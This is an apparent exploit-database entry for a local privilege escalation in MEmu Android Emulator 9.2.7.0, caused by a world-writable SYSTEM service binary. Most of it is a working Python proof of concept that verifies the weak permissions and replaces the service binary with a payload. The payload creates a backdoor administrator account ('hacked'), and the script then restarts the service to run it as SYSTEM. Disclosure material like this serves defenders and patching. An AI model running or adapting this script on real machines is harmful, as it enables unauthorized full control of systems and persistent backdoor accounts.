MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation

# Exploit Title: MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation 
# Google Dork: N/A
# Date: 2026-06-16
# Exploit Author: Mohammad
# Vendor Homepage: https://www.memuplay.com
# Software Link: https://www.memuplay.com/download.html
# Version: 9.2.7.0
# Tested on: Windows 10 x64 / Windows 11 x64
# CVE: CVE-2026-36213

###############################################
# Vulnerability Description
###############################################
#
# MEmu Android Emulator 9.2.7.0 installs a Windows
# service named "MEmuSVC" that runs with
# NT AUTHORITY\SYSTEM (LocalSystem) privileges.
#
# The service binary located at:
#   C:\Program Files\Microvirt\MEmu\MemuService.exe
#
# is installed with insecure NTFS permissions,
# granting FullControl (F) to low-privileged groups:
#   - BUILTIN\Users
#   - Everyone
#
# A low-privileged local user can replace the service
# binary with a malicious executable.
# Upon service restart, the malicious binary executes
# with NT AUTHORITY\SYSTEM privileges.
#
# Vulnerability Type : Incorrect Access Control
# CWE                : CWE-732 (Incorrect Permission 
#                      Assignment for Critical Resource)
# CVSS v3.1 Score    : 7.8 HIGH
# CVSS Vector        : AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
#
###############################################
# Verification - Check Permissions
###############################################
#
# Run the following command to verify vulnerability:
#
#   icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
#
# Vulnerable output:
#   C:\Program Files\Microvirt\MEmu\MemuService.exe
#   BUILTIN\Users:(F)
#   Everyone:(F)
#   NT AUTHORITY\SYSTEM:(F)
#   BUILTIN\Administrators:(F)
#
###############################################
# Proof of Concept
###############################################

import os
import sys
import shutil
import subprocess
import ctypes

# -----------------------------------------------
# Step 1: Check if running as low-privileged user
# -----------------------------------------------
def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

# -----------------------------------------------
# Step 2: Verify vulnerable permissions on binary
# -----------------------------------------------
def check_permissions(target_path):
    print("[*] Checking permissions on service binary...")
    print(f"[*] Target: {target_path}\n")
    
    result = subprocess.run(
        ["icacls", target_path],
        capture_output=True,
        text=True
    )
    
    output = result.stdout
    print(output)
    
    # Check for vulnerable permissions
    vulnerable = False
    dangerous_groups = ["BUILTIN\\Users", "Everyone"]
    
    for group in dangerous_groups:
        if group in output and "(F)" in output:
            print(f"[!] VULNERABLE: {group} has FullControl (F)")
            vulnerable = True
    
    return vulnerable

# -----------------------------------------------
# Step 3: Create malicious payload
#         (در محیط واقعی اینجا payload قرار میگیره)
# -----------------------------------------------
def create_payload(payload_path):
    print("\n[*] Creating malicious payload...")
    
    # این یه نمونه ساده‌ست
    # در محیط واقعی اینجا کد مخرب قرار میگیره
    # مثلاً reverse shell یا user creation
    payload_code = '''
import os
# Example: Add new admin user
os.system("net user hacked Password123! /add")
os.system("net localgroup administrators hacked /add")
print("[+] Payload executed as NT AUTHORITY\\SYSTEM")
'''
    
    # کامپایل یا آماده‌سازی payload
    with open(payload_path, "w") as f:
        f.write(payload_code)
    
    print(f"[+] Payload created at: {payload_path}")

# -----------------------------------------------
# Step 4: Replace legitimate binary with payload
# -----------------------------------------------
def replace_binary(target_path, payload_path):
    print("\n[*] Replacing service binary...")
    
    # Backup original binary
    backup_path = target_path + ".bak"
    
    try:
        shutil.copy2(target_path, backup_path)
        print(f"[+] Original backed up to: {backup_path}")
        
        shutil.copy2(payload_path, target_path)
        print(f"[+] Binary replaced successfully!")
        return True
        
    except PermissionError:
        print("[-] Permission denied - Not vulnerable")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

# -----------------------------------------------
# Step 5: Restart service to trigger execution
# -----------------------------------------------
def restart_service(service_name):
    print(f"\n[*] Restarting service: {service_name}")
    
    try:
        subprocess.run(
            ["sc", "stop", service_name],
            capture_output=True
        )
        print(f"[+] Service stopped")
        
        import time
        time.sleep(2)
        
        subprocess.run(
            ["sc", "start", service_name],
            capture_output=True
        )
        print(f"[+] Service started")
        print(f"[+] Payload should now execute as SYSTEM!")
        return True
        
    except Exception as e:
        print(f"[-] Error restarting service: {e}")
        return False

# -----------------------------------------------
# Main Exploit Flow
# -----------------------------------------------
def main():
    print("=" * 55)
    print(" CVE-2026-36213 - MEmu LPE PoC")
    print(" MEmu Android Emulator 9.2.7.0")
    print(" Researcher: Mohammad")
    print("=" * 55)
    
    # Config
    TARGET_SERVICE = "MEmuSVC"
    TARGET_BINARY  = (
        r"C:\Program Files\Microvirt\MEmu\MemuService.exe"
    )
    PAYLOAD_PATH   = r"C:\Temp\payload.exe"
    
    # Check not running as admin
    if is_admin():
        print("[!] Run this as a LOW-PRIVILEGED user!")
        print("[!] This PoC demonstrates LPE")
        sys.exit(1)
    
    print(f"[*] Running as: {os.getenv('USERNAME')}")
    print(f"[*] Admin    : {is_admin()} (should be False)\n")
    
    # Step 1: Verify vulnerability
    if not check_permissions(TARGET_BINARY):
        print("\n[-] Target does not appear vulnerable")
        print("[-] Permissions may have been fixed")
        sys.exit(0)
    
    print("\n[+] Target is VULNERABLE!")
    
    # Step 2: Create payload
    create_payload(PAYLOAD_PATH)
    
    # Step 3: Replace binary
    if not replace_binary(TARGET_BINARY, PAYLOAD_PATH):
        print("\n[-] Exploit failed at binary replacement")
        sys.exit(1)
    
    # Step 4: Trigger execution
    restart_service(TARGET_SERVICE)
    
    print("\n[+] Exploit completed!")
    print("[+] Check if payload executed successfully")
    print("=" * 55)

if __name__ == "__main__":
    main()

###############################################
# Detection Script
###############################################
#
# Automated detection tool available at:
# https://github.com/sec-zone/Hijack-service-binaries
#
###############################################
# Disclosure Timeline
###############################################
#
# 2026-02-20 → Vulnerability discovered
# 2026-02-20 → CVE-2026-36213 assigned by MITRE
# 2026-06-11 → Vendor (Microvirt) notified
# 2026-06-16 → Public disclosure
#
###############################################
# References
###############################################
#
# [1] CWE-732: Incorrect Permission Assignment
#     https://cwe.mitre.org/data/definitions/732.html
#
# [2] CVE-2026-36213
#     https://www.cve.org/CVERecord?id=CVE-2026-36213
#
# [3] Detection Script
#     https://github.com/sec-zone/Hijack-service-binaries
#
###############################################